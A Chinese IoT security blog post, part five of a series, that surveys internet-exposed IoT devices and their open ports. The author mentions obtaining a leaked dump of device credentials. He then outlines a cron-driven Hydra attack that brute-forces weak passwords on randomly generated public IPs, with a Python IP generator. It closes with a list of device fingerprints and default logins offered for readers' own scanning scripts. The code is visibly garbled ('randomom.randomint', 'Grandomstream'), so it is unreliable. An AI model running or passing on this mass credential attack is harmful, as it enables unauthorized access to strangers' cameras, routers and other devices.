白話物聯(lián)網(wǎng)安全(五):公網(wǎng)數(shù)據(jù)下的IoT
白話物聯(lián)網(wǎng)安全系列文章:
- 白話物聯(lián)網(wǎng)安全(一):什么是物聯(lián)網(wǎng)的信息安全
- 白話物聯(lián)網(wǎng)安全(二):物聯(lián)網(wǎng)的安全檢測(cè)
- 白話物聯(lián)網(wǎng)安全(三):IoT設(shè)備的安全防御
- 白話物聯(lián)網(wǎng)安全(四):泛在電力物聯(lián)網(wǎng)
前提回顧
第一章《什么是物聯(lián)網(wǎng)的信息安全”》,我們講了什么物聯(lián)網(wǎng),包含了哪幾方面的東西,物聯(lián)網(wǎng)的信息安全會(huì)涉及到什么,第二章《物聯(lián)網(wǎng)的安全檢測(cè)》,我們從一個(gè)IoT漏洞自動(dòng)化利用工具AutoSploit講起,講到我們?cè)撊绾螜z測(cè)我們常見的物聯(lián)網(wǎng)存在的安全問題。第三章《IoT設(shè)備的安全防御》,我們從三個(gè)方向去談了IoT設(shè)備的安全,物理,近場(chǎng)和遠(yuǎn)程,和現(xiàn)在市場(chǎng)上缺少的物聯(lián)網(wǎng)安全防御體系。第四章,我們探討一個(gè)概念性的話題,泛在物聯(lián)網(wǎng),在這個(gè)基礎(chǔ)上我們?cè)谠囋囌驹诩追桨职值慕嵌壬险勔徽劮涸谖锫?lián)網(wǎng)的安全怎么做。
第五章,站在公網(wǎng)的數(shù)據(jù)角度上我們來看看現(xiàn)在的IoT安全。
正文:公網(wǎng)數(shù)據(jù)下的IoT
分析IoT數(shù)據(jù)之前,先簡(jiǎn)單說近期的一個(gè)安全事件,2020年1月底,APT228組織爆出來50萬被攻擊IP地址,交換機(jī),路由器,物聯(lián)網(wǎng)設(shè)備都有,國(guó)內(nèi)國(guó)外都有,地址賬號(hào)密碼,擼了一份回來后,共16個(gè)txt文件,14M的文件,嘖嘖嘖,14M的txt文件。
圖:消息信息
圖:泄露數(shù)據(jù)
圖:部分?jǐn)?shù)據(jù)截圖
(互聯(lián)網(wǎng)分析很多了,我這就不給各位大佬獻(xiàn)丑了)
工欲善其事必先利其器,我們的先來看看現(xiàn)在主流的IoT設(shè)備包含的品類,在各大檢索數(shù)據(jù)平臺(tái)上,我發(fā)現(xiàn)物聯(lián)網(wǎng)設(shè)備指紋共有1161條(數(shù)據(jù)來自互聯(lián)網(wǎng),不是完全包含現(xiàn)有指紋信息),粗略統(tǒng)計(jì)了一下,國(guó)內(nèi)和國(guó)外的指紋比例如下圖:
在這個(gè)基礎(chǔ)上,國(guó)內(nèi)的指紋信息我拿過來分析了一下,發(fā)現(xiàn)了非常有意思的一個(gè)事情,現(xiàn)在物聯(lián)網(wǎng)平臺(tái)不僅集中在交通,物流,農(nóng)業(yè),運(yùn)營(yíng)商,工控,家居,還在電梯,消防,建筑,地質(zhì),氣象,畜牧,醫(yī)藥等等,甚至于義務(wù)商城都有一個(gè)自己的物聯(lián)網(wǎng)感控平臺(tái),在我們生活的方方面面,其實(shí)已經(jīng)被整個(gè)物聯(lián)網(wǎng)包圍著,出門的電梯,快遞的盒子,運(yùn)送的蔬菜,晚餐里面的燉排骨,都夾著物聯(lián)網(wǎng)的應(yīng)急,樹立了一下,國(guó)內(nèi)的指紋的信息分布見下圖:
說完了指紋上面的事情,我們分析下物聯(lián)網(wǎng)設(shè)備在公網(wǎng)的開放情況,不可否認(rèn),絕大部分的物聯(lián)網(wǎng)設(shè)備其實(shí)都是內(nèi)網(wǎng)環(huán)境,內(nèi)網(wǎng)系統(tǒng),公網(wǎng)上暴漏出來的甚少,比例甚至不到1%,基于有限的公網(wǎng)數(shù)據(jù),咱們其實(shí)可以得出來一些簡(jiǎn)單的結(jié)論,比如國(guó)家分布啊,端口,協(xié)議等等,現(xiàn)在能找到的數(shù)據(jù)為3,608,647條,美國(guó)最多,共計(jì)有683,415條,下來是中國(guó),英國(guó),法國(guó),德國(guó)等等
通過分析,發(fā)現(xiàn)主要開放的端口為:80,443,8001,8080,8003,554,81,82,83,7547,22,21,23,5060,8080,49152,1024,8000,9002等等,主要涉及到的協(xié)議http,rtsp,https,http-proxy,telnet,irc,ftp,ssh,cwmp,sip等等,結(jié)合剛才我們說到的案例,其實(shí)物聯(lián)網(wǎng)設(shè)備的安全,還沒等提到挖掘漏洞,就已經(jīng)被弱口令搞完了,隨便試了試,真的是一大堆,說句心里話,起碼改改12345這個(gè)密碼,舉個(gè)例子如下:
寫到這突然發(fā)現(xiàn)搞一個(gè)簡(jiǎn)單的小腳本就可以實(shí)現(xiàn)批量的IoT弱口令探測(cè),增加一個(gè)任意ip地址生成的腳本,然后探測(cè)存活(設(shè)計(jì)不合理,大佬輕噴),然后把地址扔給Hydra,在corntab設(shè)置Hydra定期執(zhí)行,5分鐘執(zhí)行一次
- def randomip():
- random=[]
- for i in range(4):
- random.append(randomom.randomint(0, 256))
- while True:
- if random[0] == 127 or random[0]==192 or random[0]==10 or random[0]==172:
- random[0]=randomom.randomrange(0, 256)
- else:
- break
- ipadd = '%d.%d.%d.%d' % (random[0], random[1], random[2], random[3])
- random.clear()
- return (ipadd)
最后放一個(gè)rapid7發(fā)出來的一些指紋信息和弱口令,大佬們想自己寫一個(gè)小腳本玩可以直接扔進(jìn)去
- "axis":
- {
- "devTypePattern": [["body", "title"], ["regex", "(?i)axis", "(?i)camera"]],
- "loginUrlPattern": "document\\.write\\(\"([^\"\\]+)[^\\r\\n]+>Setup<\/a>",
- "auth": ["basic", "admin:admin"]
- },
- "mobotix": {
- "devTypePattern": [["body", ""], ["regex", "content=\"MOBOTIX AG"]],
- "nextUrl": ["string", "/control/userimage.html" ],
- "auth": ["basic", "admin:meinsm"]
- },
- "basler": {
- "devTypePattern": [["body", "title"], ["regex", "Basler AG"]],
- "nextUrl": ["string", "/cgi-bin/auth_if.cgi?Login" ],
- "auth": ["form", "", "Auth.Username=admin&Auth.Password=admin", "body", "regex", "success: true"]
- },
- "IQinVision": {
- "devTypePattern": [["body", ""], ["substr", "<meta name=\"author\" content=\"Brian Lau, IQinVision\">"]],
- "nextUrl": ["string", "/imageset.html" ],
- "auth": ["basic", "root:system"]
- },
- "JVC": {
- "devTypePattern": [["header", "server"], ["regex", "^JVC "]],
- "nextUrl": ["string", "/cgi-bin/c20display.cgi?c20encodeencode.html" ],
- "auth": ["basic", "admin:jvc"]
- },
- "SAMSUNG TECHWIN NVR": {
- "devTypePattern": [["body", "title"], ["==", "SAMSUNG TECHWIN NVR Web Viewer"]],
- "nextUrl": ["string", "/index.php/auth/login_confirm" ],
- "auth": ["form", "", "id=YWRtaW4%3D&pwd=2558a34d4d20964ca1d272ab26ccce9511d880579593cd4c9e01ab91ed00f325", "body", "substr", "\"is_login_ok\":2"]
- },
- "Sentry360": {
- "devTypePattern": [["header", "server"], ["==", "Sentry360 "]],
- "nextUrl": ["string", "/user.set?name=admin1&pwd=admin1&type=1" ],
- "auth": ["basic", "admin:1234"]
- },
- "Speco": {
- "devTypePattern": [["body", "title"], ["==", "Speco IP Camera"]],
- "nextUrl": ["string", "/httpapi?GetUserLevel&ipAddress=" ],
- "auth": ["basic", "admin:1234"]
- },
- "Stardot": {"comment": "",
- "devTypePattern": [["body", "title"], ["==", "NetCamSCD Live Image"]],
- "nextUrl": ["string", "/admin.cgi?0" ],
- "auth": ["basic", "admin:admin"]
- },
- "Toshiba eStudio": {
- "devTypePattern": [["body", "TITLE"], ["regex", "^TOSHIBA e.STUDIO"]],
- "nextUrl": ["string", "/cgi-bin/exportfile/printer/config/secure/settingfile.ucf" ],
- "auth": ["expect200"]
- },
- "Ubiquiti": {"comment": "",
- "devTypePattern": [["body", "title"], ["==", "EdgeOS"]],
- "nextUrl": ["string", "" ],
- "auth": ["form", "", "username=ubnt&password=ubnt", "body", "!substr", "form id=\"LoginForm\""]
- },
- "W-Box": {
- "devTypePattern": [["body", "title"], ["regex", "^W\\-BOX :"]],
- "nextUrl": ["string", "" ],
- "auth": ["form", "", "action=top&account=admin&password=wbox123&login=Login&parent_id=&app_path=", "body", "!substr", "input type=\"password\""]
- },
- "Brickcom": {
- "devTypePattern": [["header", "www-authenticate"], ["substr", "realm=\"Brickcom"]],
- "nextUrl": ["string", "" ],
- "auth": ["basic", "admin:admin"]
- },
- "Arecont": {
- "devTypePattern": [["header", "www-authenticate"], ["substr", "realm=\"Arecont Vision"]],
- "nextUrl": ["string", "" ],
- "auth": ["basic", ""]
- },
- "American Dynamics": {
- "devTypePattern": [["body", "title"], ["substr", "American Dynamics: Video Management Solutions"]],
- "nextUrl": ["string", "/video.htm" ],
- "auth": ["basic", "admin/admin"]
- },
- "ACTi": {
- "devTypePattern": [["body", "title"], ["substr", "Web Configurator - Version"]],
- "nextUrl": ["string", "/video.htm" ],
- "auth": ["form", "", "LOGIN_ACCOUNT=admin&LOGIN_PASSWORD=123456&LANGUAGE=0&btnSubmit=Login", "body", "!substr", ">Password<"]
- },
- "GeoVision": {
- "devTypePattern": [["header", "server"], ["==", "GeoHttpServer"]],
- "nextUrl": ["string", "/webcam_login" ],
- "auth": ["form", "", "id=admin&pwd=admin&ViewType=2&Login=Login", "body", "!substr", "<title>Invalid</title>"]
- },
- "Grandomstream": {
- "devTypePattern": [["body", "title"], ["==", "Grandomstream Device Configuration"]],
- "nextUrl": ["string", "/cgi-bin/dologin" ],
- "extractFormData": ["type=hidden value=(.*?)>"],
- "auth": ["form", "substitute", "P2=admin&LoginLogin=Login&gnkey=$1", "body", "!substr", "Your Login Password is not recognized"]
- }